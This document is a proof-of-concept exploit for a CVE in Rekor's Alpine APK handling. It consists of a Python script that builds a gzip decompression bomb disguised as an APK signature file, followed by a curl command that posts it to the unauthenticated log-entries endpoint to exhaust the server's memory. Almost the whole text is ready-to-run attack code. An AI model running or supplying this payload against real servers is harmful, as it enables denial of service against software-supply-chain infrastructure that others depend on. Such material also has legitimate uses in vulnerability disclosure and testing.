CVE-2026-48702: Rekor Alpine APK Gzip Decompression Bomb (OOM DoS)

# Generate ~2 GB of zeros, compress to ~2 MB, embed as the .SIGN member of a fake APK,
# then POST to the unauthenticated createLogEntry endpoint.

# Step 1: build the gzip bomb segment
python3 - <<'EOF'
import gzip, io, struct, tarfile, base64, json

# 2 GB of zeros compressed
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb', compresslevel=9) as gz:
    # write 2 GB in 1 MB chunks
    chunk = b'\x00' * (1024 * 1024)
    for _ in range(2048):
        gz.write(chunk)
bomb_gz = buf.getvalue()   # ~2 MB on disk

# Step 2: wrap in a .tar stream (mimics .SIGN.RSA.<hash>.pub member)
tar_buf = io.BytesIO()
with tarfile.open(fileobj=tar_buf, mode='w') as tar:
    info = tarfile.TarInfo(name='.SIGN.RSA.pubkey.pub')
    info.size = len(bomb_gz)
    tar.addfile(info, io.BytesIO(bomb_gz))
apk_bytes = tar_buf.getvalue()

# Step 3: base64-encode for JSON body
print(base64.b64encode(apk_bytes).decode())
EOF

# Step 4: POST to Rekor (replace $B64 with output above)
curl -s -X POST https://<rekor-host>/api/v1/log/entries \
  -H 'Content-Type: application/json' \
  -d '{
    "kind": "alpine",
    "apiVersion": "0.0.1",
    "spec": {
      "package": {
        "content": "'$B64'"
      },
      "publicKey": {
        "content": "LS0tLS1CRUdJTi..."
      }
    }
  }'